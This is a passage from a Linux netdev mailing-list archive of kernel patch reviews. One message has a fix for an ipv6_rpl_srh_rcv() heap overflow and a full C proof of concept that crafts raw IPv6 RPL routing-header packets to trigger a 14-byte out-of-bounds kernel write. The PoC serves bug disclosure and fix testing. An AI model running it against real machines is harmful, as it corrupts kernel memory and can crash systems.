> handed to the USB core and write_bulk_callback() will not run.  The
> driver returns NETDEV_TX_OK, which tells the networking stack that the
> skb has been consumed, but nothing actually frees the skb on this
> error path:
> 
>   dev->tx_skb = skb;
>   ...
>   if ((res = usb_submit_urb(dev->tx_urb, GFP_ATOMIC))) {
>           ...
>           /* no kfree_skb here */
>   }
>   return NETDEV_TX_OK;
> 
> This leaks the skb on every submit failure and also leaves dev->tx_skb
> pointing at memory that the driver itself may later free, which is
> fragile.
> 
> Free the skb with dev_kfree_skb_any() in the error path and clear
> dev->tx_skb so no stale pointer is left behind.
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Morduan Zang <zhangdandan@uniontech.com>

Reviewed-by: Andrew Lunn <andrew@lunn.ch>

    Andrew

^ permalink raw reply

* [PATCH iproute2] ss: fix vsock port filter
From: Luigi Leonardi @ 2026-04-21 12:35 UTC (permalink / raw)
  To: sgarzare, stefanha, netdev; +Cc: Luigi Leonardi

parse_hostcond() uses get_u32() to parse the vsock port into the
aafilter.port field, which is a long. On 64-bit systems, get_u32()
only writes the lower 32 bits, leaving the upper 32 bits set from
the -1 initialization. This causes the port comparison
"a->port != s->rport" in run_ssfilter() to always fail, since the
corrupted long value never matches the int rport.

Fix by using get_long() instead, consistent with how AF_PACKET and
AF_NETLINK handle the same field.

Fixes: c759116a0b2b ("ss: add AF_VSOCK support")
Signed-off-by: Luigi Leonardi <leonardi@redhat.com>
---
 misc/ss.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/misc/ss.c b/misc/ss.c
index 14e9f27a..6e3321ac 100644
--- a/misc/ss.c
+++ b/misc/ss.c
@@ -2323,7 +2323,7 @@ void *parse_hostcond(char *addr, bool is_port)
 		port = find_port(addr, is_port);
 
 		if (port && strcmp(port, "*") &&
-		    get_u32((__u32 *)&a.port, port, 0))
+		    get_long(&a.port, port, 0))
 			return NULL;
 
 		if (!is_port && addr[0] && strcmp(addr, "*")) {

---
base-commit: e0517e612199cacaf2dc4d54cbed52deec640c94
change-id: 20260421-fix_vsock-40c2ef4928aa

Best regards,
-- 
Luigi Leonardi <leonardi@redhat.com>


^ permalink raw reply related

* Re: [PATCH v3 11/15] media: qcom: Switch to generic PAS TZ APIs
From: Sumit Garg @ 2026-04-21 12:36 UTC (permalink / raw)
  To: bod, vikash.garodia, dikshita.agarwal
  Cc: linux-arm-msm, devicetree, dri-devel, freedreno, linux-media,
	netdev, linux-wireless, ath12k, linux-remoteproc, andersson,
	konradybcio, robh, krzk+dt, conor+dt, robin.clark, sean, akhilpo,
	lumag, abhinav.kumar, jesszhan0024, marijn.suijten, airlied,
	simona, vikash.garodia, dikshita.agarwal, bod, mchehab, elder,
	andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
	mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
	jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
	amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
	harshal.dev, linux-kernel, Sumit Garg
In-Reply-To: <20260327131043.627120-12-sumit.garg@kernel.org>

Hey Vikash, Dikshita,

On Fri, Mar 27, 2026 at 06:40:39PM +0530, Sumit Garg wrote:
> From: Sumit Garg <sumit.garg@oss.qualcomm.com>
> 
> Switch qcom media client drivers over to generic PAS TZ APIs. Generic PAS
> TZ service allows to support multiple TZ implementation backends like QTEE
> based SCM PAS service, OP-TEE based PAS service and any further future TZ
> backend service.
> 
> Along with that pass proper PAS ID to set_remote_state API. As per testing
> the SCM backend just ignores it while OP-TEE makes use of it to for proper
> book keeping purpose.
> 
> Signed-off-by: Sumit Garg <sumit.garg@oss.qualcomm.com>
> ---
>  drivers/media/platform/qcom/iris/Kconfig      | 25 ++++++++++---------
>  .../media/platform/qcom/iris/iris_firmware.c  |  9 ++++---
>  drivers/media/platform/qcom/venus/Kconfig     |  1 +
>  drivers/media/platform/qcom/venus/firmware.c  | 11 ++++----
>  4 files changed, 25 insertions(+), 21 deletions(-)
> 

Can I get an ack from you on this change? I expect this complete
patch-set to land via Qcom SoC tree.

-Sumit

> diff --git a/drivers/media/platform/qcom/iris/Kconfig b/drivers/media/platform/qcom/iris/Kconfig
> index 3c803a05305a..f54b759c18aa 100644
> --- a/drivers/media/platform/qcom/iris/Kconfig
> +++ b/drivers/media/platform/qcom/iris/Kconfig
> @@ -1,13 +1,14 @@
>  config VIDEO_QCOM_IRIS
> -        tristate "Qualcomm iris V4L2 decoder driver"
> -        depends on VIDEO_DEV
> -        depends on ARCH_QCOM || COMPILE_TEST
> -        select V4L2_MEM2MEM_DEV
> -        select QCOM_MDT_LOADER if ARCH_QCOM
> -        select QCOM_SCM
> -        select VIDEOBUF2_DMA_CONTIG
> -        help
> -          This is a V4L2 driver for Qualcomm iris video accelerator
> -          hardware. It accelerates decoding operations on various
> -          Qualcomm SoCs.
> -          To compile this driver as a module choose m here.
> +	tristate "Qualcomm iris V4L2 decoder driver"
> +	depends on VIDEO_DEV
> +	depends on ARCH_QCOM || COMPILE_TEST
> +	select V4L2_MEM2MEM_DEV
> +	select QCOM_MDT_LOADER if ARCH_QCOM
> +	select QCOM_SCM
> +	select QCOM_PAS
> +	select VIDEOBUF2_DMA_CONTIG
> +	help
> +	  This is a V4L2 driver for Qualcomm iris video accelerator
> +	  hardware. It accelerates decoding operations on various
> +	  Qualcomm SoCs.
> +	  To compile this driver as a module choose m here.
> diff --git a/drivers/media/platform/qcom/iris/iris_firmware.c b/drivers/media/platform/qcom/iris/iris_firmware.c
> index 5f408024e967..856fa6a79064 100644
> --- a/drivers/media/platform/qcom/iris/iris_firmware.c
> +++ b/drivers/media/platform/qcom/iris/iris_firmware.c
> @@ -4,6 +4,7 @@
>   */
>  
>  #include <linux/firmware.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
>  #include <linux/firmware/qcom/qcom_scm.h>
>  #include <linux/of_address.h>
>  #include <linux/of_reserved_mem.h>
> @@ -79,7 +80,7 @@ int iris_fw_load(struct iris_core *core)
>  		return -ENOMEM;
>  	}
>  
> -	ret = qcom_scm_pas_auth_and_reset(core->iris_platform_data->pas_id);
> +	ret = qcom_pas_auth_and_reset(core->iris_platform_data->pas_id);
>  	if (ret)  {
>  		dev_err(core->dev, "auth and reset failed: %d\n", ret);
>  		return ret;
> @@ -93,7 +94,7 @@ int iris_fw_load(struct iris_core *core)
>  						     cp_config->cp_nonpixel_size);
>  		if (ret) {
>  			dev_err(core->dev, "qcom_scm_mem_protect_video_var failed: %d\n", ret);
> -			qcom_scm_pas_shutdown(core->iris_platform_data->pas_id);
> +			qcom_pas_shutdown(core->iris_platform_data->pas_id);
>  			return ret;
>  		}
>  	}
> @@ -103,10 +104,10 @@ int iris_fw_load(struct iris_core *core)
>  
>  int iris_fw_unload(struct iris_core *core)
>  {
> -	return qcom_scm_pas_shutdown(core->iris_platform_data->pas_id);
> +	return qcom_pas_shutdown(core->iris_platform_data->pas_id);
>  }
>  
>  int iris_set_hw_state(struct iris_core *core, bool resume)
>  {
> -	return qcom_scm_set_remote_state(resume, 0);
> +	return qcom_pas_set_remote_state(resume, core->iris_platform_data->pas_id);
>  }
> diff --git a/drivers/media/platform/qcom/venus/Kconfig b/drivers/media/platform/qcom/venus/Kconfig
> index ffb731ecd48c..574172724e8f 100644
> --- a/drivers/media/platform/qcom/venus/Kconfig
> +++ b/drivers/media/platform/qcom/venus/Kconfig
> @@ -6,6 +6,7 @@ config VIDEO_QCOM_VENUS
>  	select OF_DYNAMIC if ARCH_QCOM
>  	select QCOM_MDT_LOADER if ARCH_QCOM
>  	select QCOM_SCM
> +	select QCOM_PAS
>  	select VIDEOBUF2_DMA_CONTIG
>  	select V4L2_MEM2MEM_DEV
>  	help
> diff --git a/drivers/media/platform/qcom/venus/firmware.c b/drivers/media/platform/qcom/venus/firmware.c
> index 1de7436713ed..3c0727ea137d 100644
> --- a/drivers/media/platform/qcom/venus/firmware.c
> +++ b/drivers/media/platform/qcom/venus/firmware.c
> @@ -12,6 +12,7 @@
>  #include <linux/of_reserved_mem.h>
>  #include <linux/platform_device.h>
>  #include <linux/of_device.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
>  #include <linux/firmware/qcom/qcom_scm.h>
>  #include <linux/sizes.h>
>  #include <linux/soc/qcom/mdt_loader.h>
> @@ -58,7 +59,7 @@ int venus_set_hw_state(struct venus_core *core, bool resume)
>  	int ret;
>  
>  	if (core->use_tz) {
> -		ret = qcom_scm_set_remote_state(resume, 0);
> +		ret = qcom_pas_set_remote_state(resume, VENUS_PAS_ID);
>  		if (resume && ret == -EINVAL)
>  			ret = 0;
>  		return ret;
> @@ -218,7 +219,7 @@ int venus_boot(struct venus_core *core)
>  	int ret;
>  
>  	if (!IS_ENABLED(CONFIG_QCOM_MDT_LOADER) ||
> -	    (core->use_tz && !qcom_scm_is_available()))
> +	    (core->use_tz && !qcom_pas_is_available()))
>  		return -EPROBE_DEFER;
>  
>  	ret = of_property_read_string_index(dev->of_node, "firmware-name", 0,
> @@ -236,7 +237,7 @@ int venus_boot(struct venus_core *core)
>  	core->fw.mem_phys = mem_phys;
>  
>  	if (core->use_tz)
> -		ret = qcom_scm_pas_auth_and_reset(VENUS_PAS_ID);
> +		ret = qcom_pas_auth_and_reset(VENUS_PAS_ID);
>  	else
>  		ret = venus_boot_no_tz(core, mem_phys, mem_size);
>  
> @@ -259,7 +260,7 @@ int venus_boot(struct venus_core *core)
>  						     res->cp_nonpixel_start,
>  						     res->cp_nonpixel_size);
>  		if (ret) {
> -			qcom_scm_pas_shutdown(VENUS_PAS_ID);
> +			qcom_pas_shutdown(VENUS_PAS_ID);
>  			dev_err(dev, "set virtual address ranges fail (%d)\n",
>  				ret);
>  			return ret;
> @@ -274,7 +275,7 @@ int venus_shutdown(struct venus_core *core)
>  	int ret;
>  
>  	if (core->use_tz)
> -		ret = qcom_scm_pas_shutdown(VENUS_PAS_ID);
> +		ret = qcom_pas_shutdown(VENUS_PAS_ID);
>  	else
>  		ret = venus_shutdown_no_tz(core);
>  
> -- 
> 2.51.0
> 
> 

^ permalink raw reply

* Re: [net-next v2 3/5] dt-bindings: net: starfive,jh7110-dwmac: Add JHB100 sgmii rx clk
From: Rob Herring @ 2026-04-21 12:37 UTC (permalink / raw)
  To: Minda Chen
  Cc: Alexandre Torgue, Andrew Lunn, David S . Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Maxime Coquelin,
	Emil Renner Berthing, Krzysztof Kozlowski, Conor Dooley,
	netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-stm32@st-md-mailman.stormreply.com,
	devicetree@vger.kernel.org
In-Reply-To: <BJXPR01MB085573DCF307E33E43FD664AE62C2@BJXPR01MB0855.CHNPR01.prod.partner.outlook.cn>

On Mon, Apr 20, 2026 at 10:39 PM Minda Chen <minda.chen@starfivetech.com> wrote:
>
>
>
>
> >
> > On Fri, Apr 17, 2026 at 10:45:21AM +0800, Minda Chen wrote:
> > > JHB100 SGMII interface tx/rx mac clock is split and require to set
> > > clock rate in 10M/100M/1000M speed. So dts need to add a new rx clock
> > > in code, dts and dt binding doc.
> > >
> > > Signed-off-by: Minda Chen <minda.chen@starfivetech.com>
> > > ---
> > >  .../bindings/net/starfive,jh7110-dwmac.yaml   | 42 ++++++++++++++++---
> > >  1 file changed, 36 insertions(+), 6 deletions(-)
> > >
> > > diff --git
> > > a/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > b/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > index edc246a71ce3..3802cdbf1848 100644
> > > --- a/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > +++ b/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > @@ -39,20 +39,26 @@ properties:
> > >      maxItems: 1
> > >
> > >    clocks:
> > > +    minItems: 5
> > >      items:
> > >        - description: GMAC main clock
> > >        - description: GMAC AHB clock
> > >        - description: PTP clock
> > >        - description: TX clock
> > >        - description: GTX clock
> > > +      - description: SGMII RX clock
> > >
> > >    clock-names:
> > > -    items:
> > > -      - const: stmmaceth
> > > -      - const: pclk
> > > -      - const: ptp_ref
> > > -      - const: tx
> > > -      - const: gtx
> > > +    minItems: 5
> > > +    maxItems: 6
> > > +    contains:
> > > +      enum:
> > > +       - stmmaceth
> > > +       - pclk
> > > +       - ptp_ref
> > > +       - tx
> > > +       - gtx
> > > +       - sgmii_rx
> >
> > No, this allows any of the above strings plus any other random strings.
> >
> > Rob
>
> Got it. Thanks. In JHB100 I will using "oneOf" 5 clocks or 6 clocks. 7100/7100 are const clock names

No, based on what you did for 'clocks', you just need:

  clock-names:
    minItems: 5
   items:
      - const: stmmaceth
      - const: pclk
      - const: ptp_ref
      - const: tx
      - const: gtx
      - sgmii_rx

Rob

^ permalink raw reply

* Re: [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
From: Greg Kroah-Hartman @ 2026-04-21 12:38 UTC (permalink / raw)
  To: netdev
  Cc: linux-kernel, David S. Miller, David Ahern, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, stable
In-Reply-To: <2026042158-sediment-elliptic-a954@gregkh>

On Tue, Apr 21, 2026 at 02:32:59PM +0200, Greg Kroah-Hartman wrote:
> ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
> the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
> header and pushes the new one plus the IPv6 header back.  The
> recompressed header can be larger than the received one when the swap
> reduces the common-prefix length the segments share with daddr (CmprI=0,
> CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
> 
> pskb_expand_head() was gated on segments_left == 0, so on earlier
> segments the push consumed unchecked headroom.  Once skb_push() leaves
> fewer than skb->mac_len bytes in front of data,
> skb_mac_header_rebuild()'s call to:
> 
> 	skb_set_mac_header(skb, -skb->mac_len);
> 
> will store (data - head) - mac_len into the u16 mac_header field, which
> wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
> past skb->head.
> 
> A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
> segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
> pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
> 
> Fix this by expanding the head whenever the remaining room is less than
> the push size plus mac_len, and request that much extra so the rebuilt
> MAC header fits afterwards.
> 
> Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: David Ahern <dsahern@kernel.org>
> Cc: Eric Dumazet <edumazet@google.com>
> Cc: Jakub Kicinski <kuba@kernel.org>
> Cc: Paolo Abeni <pabeni@redhat.com>
> Cc: Simon Horman <horms@kernel.org>
> Cc: stable <stable@kernel.org>
> Reported-by: Anthropic
> Assisted-by: gkh_clanker_t1000
> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> ---
> v2: - fixed up if statement to actually work properly, and test it against
>       a working poc (poc will be sent separately)

Poc is here, requires root to run so it's just a normal bug.

------------------

// SPDX-License-Identifier: GPL-2.0
/*
 * PoC for ANT-2026-03771: slab-out-of-bounds write of size 14 in
 * net/ipv6/exthdrs.c:ipv6_rpl_srh_rcv().
 *
 * Mechanism
 * ---------
 * ipv6_rpl_srh_rcv() decompresses an RFC 6554 RPL Source Routing
 * Header, swaps daddr <-> segment[i], recompresses, then:
 *
 *	skb_pull(skb, (hdr->hdrlen+1)<<3);          // old SRH len
 *	if (!hdr->segments_left)                    // ONLY on last seg
 *		pskb_expand_head(...);
 *	skb_push(skb, (chdr->hdrlen+1)<<3 + 40);    // new SRH + ip6hdr
 *	skb_reset_network_header(skb);
 *	skb_mac_header_rebuild(skb);
 *
 * If the recompressed header (chdr) is larger than the received one
 * (hdr) and segments_left > 0, the push consumes headroom that nothing
 * checked.  When the post-push headroom drops below skb->mac_len (14),
 * skb_mac_header_rebuild()'s
 *
 *	skb_set_mac_header(skb, -skb->mac_len);
 *
 * computes (data - head) + (u16)(-14) and stores it in the u16
 * mac_header field, then memmove()s 14 bytes to skb->head + 65522..65535.
 *
 * Triggering growth on the first iteration
 * ----------------------------------------
 * Send cmpri=0 cmpre=15 with two segments and daddr = c0de::1:
 *	seg[0] (16 bytes, cmpri=0): 4141:...:4141   (anything with byte0 != 0xc0)
 *	seg[1] (1 byte, cmpre=15): 0x01 -> decompressed = c0de::1
 *
 * After the swap (i=0) the new daddr is 4141::4141 and the segment list
 * is [c0de::1, c0de::1].  Recompression against 4141::4141 yields
 * cmpri'=0 (4141.. vs c0de..) and cmpre'=0 (4141.. vs c0de..), so the
 * last segment now needs 16 bytes instead of 1.  hdrlen goes from 3 to
 * 4: the SRH grows by 8 bytes.
 *
 * Headroom on entry to the SRH handler via lo:
 *	rawv6_send_hdrinc:	skb_reserve(LL_RESERVED_SPACE(lo)) = 16
 *	neigh_connected_output:	skb_push(14)      -> headroom = 2
 *	loopback_xmit:		eth_type_trans pull(14) -> headroom = 16
 *	ip6_protocol_deliver_rcu: pskb_pull(40)   -> headroom = 56
 *	ipv6_rpl_srh_rcv:	pull(32) push(40+40) -> headroom = 8
 *
 * 8 < 14, so mac_header wraps.  skb data buffer is a ~512-byte slab
 * object; head + 65530 is far past it.
 *
 * Build with CONFIG_KASAN to get a clean splat; without KASAN the
 * 14-byte write lands in unrelated heap memory and the failure mode
 * is less deterministic (often skb_under_panic on a later iteration).
 *
 * Usage
 * -----
 * Run as root.  The PoC configures the local address and sysctls
 * itself so an init=/poc initramfs is sufficient.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <linux/if.h>
#include <linux/in6.h>
#include <linux/ipv6.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/reboot.h>

#define LOCAL_ADDR	"c0de::1"

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static int write_file(const char *path, const char *val)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0)
		return -1;
	if (write(fd, val, strlen(val)) < 0) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static void bring_up_lo(void)
{
	int fd;
	struct ifreq ifr = { .ifr_name = "lo" };

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket AF_INET");
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS lo");
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS lo");
	close(fd);
}

static void add_local_addr(void)
{
	struct in6_ifreq ifr6;
	struct ifreq ifr = { .ifr_name = "lo" };
	int fd;

	fd = socket(AF_INET6, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket AF_INET6");

	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("SIOCGIFINDEX lo");

	memset(&ifr6, 0, sizeof(ifr6));
	inet_pton(AF_INET6, LOCAL_ADDR, &ifr6.ifr6_addr);
	ifr6.ifr6_prefixlen = 128;
	ifr6.ifr6_ifindex = ifr.ifr_ifindex;

	if (ioctl(fd, SIOCSIFADDR, &ifr6) < 0 && errno != EEXIST)
		die("SIOCSIFADDR " LOCAL_ADDR);
	close(fd);
}

/*
 * RFC 6554 SRH wire layout (network byte order):
 *  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *  | Next Header   |  Hdr Ext Len  | Routing Type=3| Segments Left |
 *  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *  | CmprI | CmprE |  Pad  |             Reserved                  |
 *  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *  |                       Addresses[1..n] ...
 */
static size_t build_packet(unsigned char *buf, size_t buflen, size_t pad)
{
	struct ip6_hdr *ip6 = (struct ip6_hdr *)buf;
	unsigned char *srh = buf + sizeof(*ip6);
	const size_t srh_len = 32;	/* (hdrlen 3 + 1) * 8 */
	const size_t total = sizeof(*ip6) + srh_len + pad;

	if (buflen < total)
		die("buffer too small");
	memset(buf, 0, total);

	/* IPv6 header */
	ip6->ip6_flow	= htonl(6u << 28);
	ip6->ip6_plen	= htons(srh_len + pad);
	ip6->ip6_nxt	= 43;		/* Routing Header */
	ip6->ip6_hops	= 64;
	inet_pton(AF_INET6, "::1",      &ip6->ip6_src);
	inet_pton(AF_INET6, LOCAL_ADDR, &ip6->ip6_dst);

	/* RPL SRH fixed part */
	srh[0] = 59;			/* No Next Header */
	srh[1] = 3;			/* hdrlen: (3+1)*8 = 32 */
	srh[2] = 3;			/* IPV6_SRCRT_TYPE_3 (RPL) */
	srh[3] = 2;			/* segments_left = n+1 = 2 */
	srh[4] = (0 << 4) | 15;		/* CmprI=0, CmprE=15 */
	srh[5] = (7 << 4) | 0;		/* Pad=7, Reserved=0 */
	srh[6] = 0;
	srh[7] = 0;

	/*
	 * seg[0]: full 16 bytes (cmpri=0).  byte[0] != 0xc0 so that
	 * after the swap the new daddr shares no prefix with the
	 * remaining segments and cmpre' collapses from 15 to 0.
	 */
	memset(&srh[8], 0x41, 16);

	/*
	 * seg[1]: 1 byte (cmpre=15).  Decompressed = daddr[0..14] || 0x01
	 * = c0de::1, which is local so the loop check passes.
	 */
	srh[24] = 0x01;

	/* srh[25..31] already zero: 7 bytes of pad */

	return total;
}

int main(void)
{
	static unsigned char pkt[65536];
	struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
	int fd, on = 1;
	size_t len;

	if (getpid() == 1) {
		mkdir("/proc", 0555);
		mount("proc", "/proc", "proc", 0, NULL);
		mkdir("/sys", 0555);
		mount("sysfs", "/sys", "sysfs", 0, NULL);
	}

	bring_up_lo();
	add_local_addr();

	if (write_file("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1") < 0)
		fprintf(stderr, "warning: cannot enable rpl_seg_enabled (all)\n");
	if (write_file("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1") < 0)
		fprintf(stderr, "warning: cannot enable rpl_seg_enabled (lo)\n");

	/* let DAD settle so c0de::1 is usable */
	sleep(2);

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
	if (fd < 0)
		die("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)");
	if (setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &on, sizeof(on)) < 0)
		die("setsockopt IPV6_HDRINCL");

	inet_pton(AF_INET6, LOCAL_ADDR, &dst.sin6_addr);

	printf("[*] sending IPv6+RPL-SRH packets to %s\n", LOCAL_ADDR);
	printf("[*] cmpri=0 cmpre=15 n=1: chdr grows by 8 -> headroom 8 -> mac_header wraps\n");
	fflush(stdout);

	/*
	 * The 14-byte write lands at skb->head + ~65530.  Whether KASAN
	 * sees it depends on what that page holds.  Sweep packet sizes so
	 * the data buffer cycles through every kmalloc bucket and the
	 * page allocator; one of the resulting head values will sit 64KiB
	 * below a poisoned page.
	 */
	for (size_t pad = 0; pad <= 32768; pad = pad ? pad * 2 : 64) {
		for (int i = 0; i < 64; i++) {
			len = build_packet(pkt, sizeof(pkt), pad + i);
			if (sendto(fd, pkt, len, 0,
				   (struct sockaddr *)&dst, sizeof(dst)) < 0)
				die("sendto");
		}
	}

	/* softirq processing happens asynchronously */
	sleep(1);

	printf("[!] kernel survived — fix is applied or KASAN is off\n");

	if (getpid() == 1) {
		sync();
		reboot(RB_POWER_OFF);
		pause();
	}
	return 0;
}

^ permalink raw reply

* Re: [PATCH] net/stmmac: Fix typos: 'tx_undeflow_irq' -> 'tx_underflow_irq'
From: Andrew Lunn @ 2026-04-21 12:39 UTC (permalink / raw)
  To: Jakub Raczynski
  Cc: netdev, linux-kernel, kuba, davem, andrew+netdev, kernel-janitors,
	linux-arm-kernel, linux-stm32
In-Reply-To: <20260421115008.2690541-1-j.raczynski@samsung.com>

> +++ b/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c
> @@ -78,7 +78,7 @@ static const struct stmmac_stats stmmac_gstrings_stats[] = {
>  	STMMAC_STAT(rx_vlan),
>  	STMMAC_STAT(rx_split_hdr_pkt_n),
>  	/* Tx/Rx IRQ error info */
> -	STMMAC_STAT(tx_undeflow_irq),
> +	STMMAC_STAT(tx_underflow_irq),

Please take another look at this one and think about it.

    Andrew

---
pw-bot: cr

^ permalink raw reply


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox